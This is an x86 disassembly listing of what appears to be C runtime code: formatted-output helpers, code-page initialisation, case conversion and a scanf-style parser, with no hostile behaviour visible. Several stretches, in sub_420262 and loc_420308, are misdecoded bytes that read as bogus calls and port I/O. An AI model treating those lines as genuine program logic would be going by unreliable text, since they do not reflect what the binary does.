loc_41FF9A: ; CODE XREF: sub_41F8BF+698j
; sub_41F8BF+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_420066
add esp, 10h
loc_41FFAF: ; CODE XREF: sub_41F8BF+6BCj
; sub_41F8BF+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FFC7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_420035
add esp, 10h
loc_41FFC7: ; CODE XREF: sub_41F8BF+68j
; sub_41F8BF+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F8EB
loc_41FFD8: ; CODE XREF: sub_41F8BF+1Fj
; sub_41F8BF+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F8BF endp
; ---------------------------------------------------------------------------
off_41FFE0 dd offset loc_41FA5E ; DATA XREF: sub_41F8BF+6Er
dd offset loc_41F934 ; jump table for switch statement
dd offset loc_41F94F
dd offset loc_41F99B
dd offset loc_41F9D2
dd offset loc_41F9DA
dd offset loc_41FA0F
dd offset loc_41FAA2
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420000 proc near ; CODE XREF: sub_41F8BF+1BDp
; sub_41F8BF+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_420019
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_420024
; ---------------------------------------------------------------------------
loc_420019: ; CODE XREF: sub_420000+9j
push ecx
push [ebp+arg_0]
call sub_41F7AA
pop ecx
pop ecx
loc_420024: ; CODE XREF: sub_420000+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_420031
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420031: ; CODE XREF: sub_420000+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_420000 endp
; =============== S U B R O U T I N E =======================================
sub_420035 proc near ; CODE XREF: sub_41F8BF+65Ap
; sub_41F8BF+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_420063
mov esi, [esp+8+arg_C]
loc_420046: ; CODE XREF: sub_420035+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_420000
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_420063
mov eax, edi
dec edi
test eax, eax
jg short loc_420046
loc_420063: ; CODE XREF: sub_420035+Bj
; sub_420035+25j
pop edi
pop esi
retn
sub_420035 endp
; =============== S U B R O U T I N E =======================================
sub_420066 proc near ; CODE XREF: sub_41F8BF+670p
; sub_41F8BF+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_42009A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_42007C: ; CODE XREF: sub_420066+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_420000
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_42009A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_42007C
loc_42009A: ; CODE XREF: sub_420066+Cj
; sub_420066+2Bj
pop edi
pop esi
pop ebx
retn
sub_420066 endp
; =============== S U B R O U T I N E =======================================
sub_42009E proc near ; CODE XREF: sub_41F8BF+E5p
; sub_41F8BF+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_42009E endp
; =============== S U B R O U T I N E =======================================
sub_4200AB proc near ; CODE XREF: sub_41F8BF+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_4200AB endp
; =============== S U B R O U T I N E =======================================
sub_4200BB proc near ; CODE XREF: sub_41F8BF+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_4200BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200C9 proc near ; CODE XREF: sub_42048D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420262
mov esi, eax
pop ecx
cmp esi, ds:dword_4DF304
mov [ebp+arg_0], esi
jz loc_420256
xor ebx, ebx
cmp esi, ebx
jz loc_42024C
xor edx, edx
mov eax, offset dword_43F1B0
loc_4200FD: ; CODE XREF: sub_4200C9+41j
cmp [eax], esi
jz short loc_420173
add eax, 30h
inc edx
cmp eax, offset dword_43F2A0
jl short loc_4200FD
lea eax, [ebp+var_18]
push eax
push esi
call near ptr 0C30004h
push edi
cmp eax, 1
jnz loc_420244
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DF420
cmp [ebp+var_18], 1
mov ds:dword_4DF304, esi
rep stosd
stosb
mov ds:dword_4DF524, ebx
jbe loc_420232
cmp [ebp+var_12], 0
jz loc_420208
lea ecx, [ebp+var_11]
loc_420150: ; CODE XREF: sub_4200C9+139j
mov dl, [ecx]
test dl, dl
jz loc_420208
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_420161: ; CODE XREF: sub_4200C9+A8j
cmp eax, edx
ja loc_4201FC
or ds:byte_4DF421[eax], 4
inc eax
jmp short loc_420161
; ---------------------------------------------------------------------------
loc_420173: ; CODE XREF: sub_4200C9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DF420
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43F1C0[esi]
loc_42018F: ; CODE XREF: sub_4200C9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_4201C2
loc_420196: ; CODE XREF: sub_4200C9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_4201C2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_4201BB
mov edx, [ebp+var_4]
mov dl, ds:byte_43F1A8[edx]
loc_4201B0: ; CODE XREF: sub_4200C9+F0j
or ds:byte_4DF421[eax], dl
inc eax
cmp eax, edi
jbe short loc_4201B0
loc_4201BB: ; CODE XREF: sub_4200C9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_420196
loc_4201C2: ; CODE XREF: sub_4200C9+CBj
; sub_4200C9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_42018F
mov eax, [ebp+arg_0]
mov ds:dword_4DF31C, 1
push eax
mov ds:dword_4DF304, eax
call sub_4202AC
lea esi, dword_43F1B4[esi]
mov edi, offset dword_4DF310
movsd
movsd
pop ecx
mov ds:dword_4DF524, eax
movsd
jmp short loc_420251
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4200C9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_420150
loc_420208: ; CODE XREF: sub_4200C9+7Ej
; sub_4200C9+8Bj
push 1
pop eax
loc_42020B: ; CODE XREF: sub_4200C9+14Fj
or ds:byte_4DF421[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_42020B
push esi
call sub_4202AC
pop ecx
mov ds:dword_4DF524, eax
mov ds:dword_4DF31C, 1
jmp short loc_420238
; ---------------------------------------------------------------------------
loc_420232: ; CODE XREF: sub_4200C9+74j
mov ds:dword_4DF31C, ebx
loc_420238: ; CODE XREF: sub_4200C9+167j
xor eax, eax
mov edi, offset dword_4DF310
stosd
stosd
stosd
jmp short loc_420251
; ---------------------------------------------------------------------------
loc_420244: ; CODE XREF: sub_4200C9+51j
cmp ds:dword_4DDF40, ebx
jz short loc_42025A
loc_42024C: ; CODE XREF: sub_4200C9+27j
call sub_4202DF
loc_420251: ; CODE XREF: sub_4200C9+131j
; sub_4200C9+179j
call loc_420308
loc_420256: ; CODE XREF: sub_4200C9+1Dj
xor eax, eax
jmp short loc_42025D
; ---------------------------------------------------------------------------
loc_42025A: ; CODE XREF: sub_4200C9+181j
or eax, 0FFFFFFFFh
loc_42025D: ; CODE XREF: sub_4200C9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_4200C9 endp
; =============== S U B R O U T I N E =======================================
sub_420262 proc near ; CODE XREF: sub_4200C9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and ds:dword_4DDF40, 0
cmp eax, 0FFFFFFFEh
jnz short near ptr loc_420281+1
mov ds:dword_4DDF40, 1
call near ptr 0B10000h
loc_420281: ; CODE XREF: sub_420262+Ej
cmp [ebx+1075FDF8h], eax
mov ds:dword_4DDF40, 1
call near ptr 0C10004h
in eax, 83h ; DMA page register 74LS612:
; Channel 1 (address bits 16-23)
clc
cld
jnz short locret_4202AB
mov eax, ds:dword_4DDF84
mov ds:dword_4DDF40, 1
locret_4202AB: ; CODE XREF: sub_420262+38j
retn
sub_420262 endp
; =============== S U B R O U T I N E =======================================
sub_4202AC proc near ; CODE XREF: sub_4200C9+118p
; sub_4200C9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4202D9
sub eax, 4
jz short loc_4202D3
sub eax, 0Dh
jz short loc_4202CD
dec eax
jz short loc_4202C7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4202C7: ; CODE XREF: sub_4202AC+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4202CD: ; CODE XREF: sub_4202AC+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4202D3: ; CODE XREF: sub_4202AC+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4202D9: ; CODE XREF: sub_4202AC+9j
mov eax, 411h
retn
sub_4202AC endp
; =============== S U B R O U T I N E =======================================
sub_4202DF proc near ; CODE XREF: sub_4200C9:loc_42024Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DF420
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DF310
mov ds:dword_4DF304, eax
mov ds:dword_4DF31C, eax
mov ds:dword_4DF524, eax
stosd
stosd
stosd
pop edi
retn
sub_4202DF endp
; ---------------------------------------------------------------------------
loc_420308: ; CODE XREF: sub_4200C9:loc_420251p
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp-14h]
push esi
push eax
push ds:dword_4DF304
call near ptr 0C50004h
xor eax, 0F01F883h
test [esi], edx
add [eax], eax
add [ebx], dh
sar byte ptr [esi+100h], 88h ; CODE XREF: seg000:0042033Cj
test ds:0FFFFFEECh, al
inc eax
cmp eax, esi
jb short near ptr loc_42032C+6
mov al, [ebp-0Eh]
mov byte ptr [ebp-114h], 20h
test al, al
jz short loc_420383
push ebx
push edi
lea edx, [ebp-0Dh]
loc_420351: ; CODE XREF: seg000:0042037Fj
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420378
sub ecx, eax
lea edi, [ebp+eax-114h]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420378: ; CODE XREF: seg000:00420359j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420351
pop edi
pop ebx
loc_420383: ; CODE XREF: seg000:0042034Aj
push 0
lea eax, [ebp-514h]
push ds:dword_4DF524
push ds:dword_4DF304
push eax
lea eax, [ebp-114h]
push esi
push eax
push 1
call loc_423F37
push 0
lea eax, [ebp-214h]
push ds:dword_4DF304
push esi
push eax
lea eax, [ebp-114h]
push esi
push eax
push esi
push ds:dword_4DF524
call loc_422DA3
push 0
lea eax, [ebp-314h]
push ds:dword_4DF304
push esi
push eax
lea eax, [ebp-114h]
push esi
push eax
push 200h
push ds:dword_4DF524
call loc_422DA3
add esp, 5Ch
xor eax, eax
lea ecx, [ebp-514h]
loc_4203FE: ; CODE XREF: seg000:0042043Dj
mov dx, [ecx]
test dl, 1
jz short loc_42041C
or ds:byte_4DF421[eax], 10h
mov dl, [ebp+eax-214h]
loc_420414: ; CODE XREF: seg000:0042042Fj
mov ds:byte_4DF320[eax], dl
jmp short loc_420438
; ---------------------------------------------------------------------------
loc_42041C: ; CODE XREF: seg000:00420404j
test dl, 2
jz short loc_420431
or ds:byte_4DF421[eax], 20h
mov dl, [ebp+eax-314h]
jmp short loc_420414
; ---------------------------------------------------------------------------
loc_420431: ; CODE XREF: seg000:0042041Fj
and ds:byte_4DF320[eax], 0
loc_420438: ; CODE XREF: seg000:0042041Aj
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4203FE
jmp short loc_42048A
; ---------------------------------------------------------------------------
xor eax, eax
mov esi, 100h
loc_420448: ; CODE XREF: seg000:00420488j
cmp eax, 41h
jb short loc_420466
cmp eax, 5Ah
ja short loc_420466
or ds:byte_4DF421[eax], 10h
mov cl, al
add cl, 20h
loc_42045E: ; CODE XREF: seg000:0042047Cj
mov ds:byte_4DF320[eax], cl
jmp short loc_420485
; ---------------------------------------------------------------------------
loc_420466: ; CODE XREF: seg000:0042044Bj
; seg000:00420450j
cmp eax, 61h
jb short loc_42047E
cmp eax, 7Ah
ja short loc_42047E
or ds:byte_4DF421[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_42045E
; ---------------------------------------------------------------------------
loc_42047E: ; CODE XREF: seg000:00420469j
; seg000:0042046Ej
and ds:byte_4DF320[eax], 0
loc_420485: ; CODE XREF: seg000:00420464j
inc eax
cmp eax, esi
jb short loc_420448
loc_42048A: ; CODE XREF: seg000:0042043Fj
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_42048D proc near ; CODE XREF: seg000:0042317Fp
; sub_4231CE+Dp ...
cmp ds:dword_4DF554, 0
jnz short locret_4204A8
push 0FFFFFFFDh
call sub_4200C9
pop ecx
mov ds:dword_4DF554, 1
locret_4204A8: ; CODE XREF: sub_42048D+7j
retn
sub_42048D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4204A9 proc near ; CODE XREF: sub_41BBC1+2Bp
; sub_41BBC1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp ds:dword_4DF31C, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4204CD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41B7E0
add esp, 0Ch
jmp short loc_420530
; ---------------------------------------------------------------------------
loc_4204CD: ; CODE XREF: sub_4204A9+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_420512
mov ecx, [ebp+arg_4]
loc_4204D8: ; CODE XREF: sub_4204A9+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test ds:byte_4DF421[esi], 4
mov [edi], al
jz short loc_4204FC
inc edi
inc ecx
test edx, edx
jz short loc_420508
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_42050E
jmp short loc_420502
; ---------------------------------------------------------------------------
loc_4204FC: ; CODE XREF: sub_4204A9+3Ej
inc edi
inc ecx
test al, al
jz short loc_420512
loc_420502: ; CODE XREF: sub_4204A9+51j
test edx, edx
jnz short loc_4204D8
jmp short loc_420512
; ---------------------------------------------------------------------------
loc_420508: ; CODE XREF: sub_4204A9+44j
and byte ptr [edi-1], 0
jmp short loc_420512
; ---------------------------------------------------------------------------
loc_42050E: ; CODE XREF: sub_4204A9+4Fj
and byte ptr [edi-2], 0
loc_420512: ; CODE XREF: sub_4204A9+2Aj
; sub_4204A9+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_42052D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_42052D: ; CODE XREF: sub_4204A9+6Fj
mov eax, [ebp+arg_0]
loc_420530: ; CODE XREF: sub_4204A9+22j
pop edi
pop ebp
retn
sub_4204A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420533 proc near ; CODE XREF: sub_41BDAD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4DDF74, 0
push ebx
jnz short loc_42055E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_4205FC
cmp eax, 7Ah
jg loc_4205FC
sub eax, 20h
jmp loc_4205FC
; ---------------------------------------------------------------------------
loc_42055E: ; CODE XREF: sub_420533+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420591
cmp ds:dword_43F194, 1
jle short loc_42057E
push 2
push ebx
call sub_41F735
pop ecx
pop ecx
jmp short loc_420589
; ---------------------------------------------------------------------------
loc_42057E: ; CODE XREF: sub_420533+3Dj
mov eax, ds:off_43EF88
mov al, [eax+ebx*2]
and eax, 2
loc_420589: ; CODE XREF: sub_420533+49j
test eax, eax
jnz short loc_420591
loc_42058D: ; CODE XREF: sub_420533+AFj
mov eax, ebx
jmp short loc_4205FC
; ---------------------------------------------------------------------------
loc_420591: ; CODE XREF: sub_420533+34j
; sub_420533+58j
mov edx, ds:off_43EF88
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_4205B4
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_4205BD
; ---------------------------------------------------------------------------
loc_4205B4: ; CODE XREF: sub_420533+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_4205BD: ; CODE XREF: sub_420533+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push ds:dword_4DDF74
call loc_422DA3
add esp, 20h
test eax, eax
jz short loc_42058D
cmp eax, 1
jnz short loc_4205EF
movzx eax, [ebp+var_4]
jmp short loc_4205FC
; ---------------------------------------------------------------------------
loc_4205EF: ; CODE XREF: sub_420533+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4205FC: ; CODE XREF: sub_420533+14j
; sub_420533+1Dj ...
pop ebx
leave
retn
sub_420533 endp
; =============== S U B R O U T I N E =======================================
sub_4205FF proc near ; CODE XREF: sub_41BFCC+1Dp
; sub_41D5DE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov ds:dword_4DDEB8, ecx
mov eax, offset dword_43F2A0
loc_420610: ; CODE XREF: sub_4205FF+1Ej
cmp ecx, [eax]
jz short loc_420634
add eax, 8
inc edx
cmp eax, offset dword_43F408
jl short loc_420610
cmp ecx, 13h
jb short loc_420641
cmp ecx, 24h
ja short loc_420641
mov ds:dword_4DDEB4, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420634: ; CODE XREF: sub_4205FF+13j
mov eax, ds:dword_43F2A4[edx*8]
mov ds:dword_4DDEB4, eax
retn
; ---------------------------------------------------------------------------
loc_420641: ; CODE XREF: sub_4205FF+23j
; sub_4205FF+28j
cmp ecx, 0BCh
jb short loc_42065B
cmp ecx, 0CAh
mov ds:dword_4DDEB4, 8
jbe short locret_420665
loc_42065B: ; CODE XREF: sub_4205FF+48j
mov ds:dword_4DDEB4, 16h
locret_420665: ; CODE XREF: sub_4205FF+5Aj
retn
sub_4205FF endp
; =============== S U B R O U T I N E =======================================
sub_420666 proc near ; CODE XREF: sub_41BFF6+8p
; sub_41D3DC+9p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_424080
test eax, eax
pop ecx
jz short loc_4206EF
cmp esi, offset dword_43F578
jnz short loc_420684
xor eax, eax
jmp short loc_42068F
; ---------------------------------------------------------------------------
loc_420684: ; CODE XREF: sub_420666+18j
cmp esi, offset dword_43F598
jnz short loc_4206EF
push 1
pop eax
loc_42068F: ; CODE XREF: sub_420666+1Cj
inc ds:dword_4DDF8C
test word ptr [esi+0Ch], 10Ch
jnz short loc_4206EF
cmp ds:dword_4DDF44[eax*4], 0
push ebx
push edi
lea edi, ds:4DDF44h[eax*4]
mov ebx, 1000h
jnz short loc_4206D5
push ebx
call sub_41B6C5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4206D5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4206E2
; ---------------------------------------------------------------------------
loc_4206D5: ; CODE XREF: sub_420666+4Dj
; sub_420666+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4206E2: ; CODE XREF: sub_420666+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4206EF: ; CODE XREF: sub_420666+10j
; sub_420666+24j ...
xor eax, eax
pop esi
retn
sub_420666 endp
; =============== S U B R O U T I N E =======================================
sub_4206F3 proc near ; CODE XREF: sub_41BFF6+24p
; sub_41D3DC+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_42071D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_42072E
push esi
call sub_41DDAB
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42071D: ; CODE XREF: sub_4206F3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_42072E
push eax
call sub_41DDAB
pop ecx
loc_42072E: ; CODE XREF: sub_4206F3+10j
; sub_4206F3+32j
pop esi
retn
sub_4206F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420730 proc near ; CODE XREF: sub_41C835+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_421136
mov edi, [ebp+arg_0]
jmp short loc_42075F
; ---------------------------------------------------------------------------
loc_42075A: ; CODE XREF: sub_420730+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42075F: ; CODE XREF: sub_420730+28j
cmp ds:dword_43F194, 1
jle short loc_420777
movzx eax, al
push 8
push eax
call sub_41F735
pop ecx
pop ecx
jmp short loc_420786
; ---------------------------------------------------------------------------
loc_420777: ; CODE XREF: sub_420730+36j
mov ecx, ds:off_43EF88
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420786: ; CODE XREF: sub_420730+45j
cmp eax, ebx
jz short loc_4207C0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_4211BD
pop ecx
pop ecx
push eax
call sub_4211A6
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D890
add esp, 0Ch
loc_4207AE: ; CODE XREF: sub_420730+8Ej
test eax, eax
jz short loc_4207C0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D890
pop ecx
jmp short loc_4207AE
; ---------------------------------------------------------------------------
loc_4207C0: ; CODE XREF: sub_420730+58j
; sub_420730+80j
cmp byte ptr [esi], 25h
jnz loc_4210A2
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4207F7: ; CODE XREF: sub_420730+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp ds:dword_43F194, 1
jle short loc_420814
movzx eax, bl
push 4
push eax
call sub_41F735
pop ecx
pop ecx
jmp short loc_420823
; ---------------------------------------------------------------------------
loc_420814: ; CODE XREF: sub_420730+D3j
mov ecx, ds:off_43EF88
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420823: ; CODE XREF: sub_420730+E2j
test eax, eax
jz short loc_420839
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42089E
; ---------------------------------------------------------------------------
loc_420839: ; CODE XREF: sub_420730+F5j
cmp ebx, 4Eh
jg short loc_42087C
jz short loc_42089E
cmp ebx, 2Ah
jz short loc_420877
cmp ebx, 46h
jz short loc_42089E
cmp ebx, 49h
jz short loc_420859
cmp ebx, 4Ch
jnz short loc_42088B
inc [ebp+var_D]
jmp short loc_42089E
; ---------------------------------------------------------------------------
loc_420859: ; CODE XREF: sub_420730+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42088B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42088B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42089E
; ---------------------------------------------------------------------------
loc_420877: ; CODE XREF: sub_420730+113j
inc [ebp+var_E]
jmp short loc_42089E
; ---------------------------------------------------------------------------
loc_42087C: ; CODE XREF: sub_420730+10Cj
cmp ebx, 68h
jz short loc_420898
cmp ebx, 6Ch
jz short loc_420890
cmp ebx, 77h
jz short loc_420893
loc_42088B: ; CODE XREF: sub_420730+122j
; sub_420730+12Dj ...
inc [ebp+var_F]
jmp short loc_42089E
; ---------------------------------------------------------------------------
loc_420890: ; CODE XREF: sub_420730+154j
inc [ebp+var_D]
loc_420893: ; CODE XREF: sub_420730+159j
inc [ebp+var_5]
jmp short loc_42089E
; ---------------------------------------------------------------------------
loc_420898: ; CODE XREF: sub_420730+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42089E: ; CODE XREF: sub_420730+107j
; sub_420730+10Ej ...
cmp [ebp+var_F], 0
jz loc_4207F7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4208C3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4208C3: ; CODE XREF: sub_420730+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4208E1
mov al, [esi]
cmp al, 53h
jz short loc_4208DD
cmp al, 43h
jz short loc_4208DD
or [ebp+var_5], 0FFh
jmp short loc_4208E1
; ---------------------------------------------------------------------------
loc_4208DD: ; CODE XREF: sub_420730+1A1j
; sub_420730+1A5j
mov [ebp+var_5], 1
loc_4208E1: ; CODE XREF: sub_420730+19Bj
; sub_420730+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_42091A
cmp esi, 63h
jz short loc_42090B
cmp esi, 7Bh
jz short loc_42090B
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_4211BD
pop ecx
jmp short loc_420916
; ---------------------------------------------------------------------------
loc_42090B: ; CODE XREF: sub_420730+1C5j
; sub_420730+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42118C
loc_420916: ; CODE XREF: sub_420730+1D9j
pop ecx
mov [ebp+var_14], eax
loc_42091A: ; CODE XREF: sub_420730+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42092A
cmp [ebp+var_C], eax
jz loc_421106
loc_42092A: ; CODE XREF: sub_420730+1EFj
cmp esi, 6Fh
jg loc_420B91
jz loc_420E43
cmp esi, 63h
jz loc_420B6E
cmp esi, 64h
jz loc_420E43
jle loc_420BBB
cmp esi, 67h
jle short loc_42098E
cmp esi, 69h
jz short loc_420976
cmp esi, 6Eh
jnz loc_420BBB
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_421071
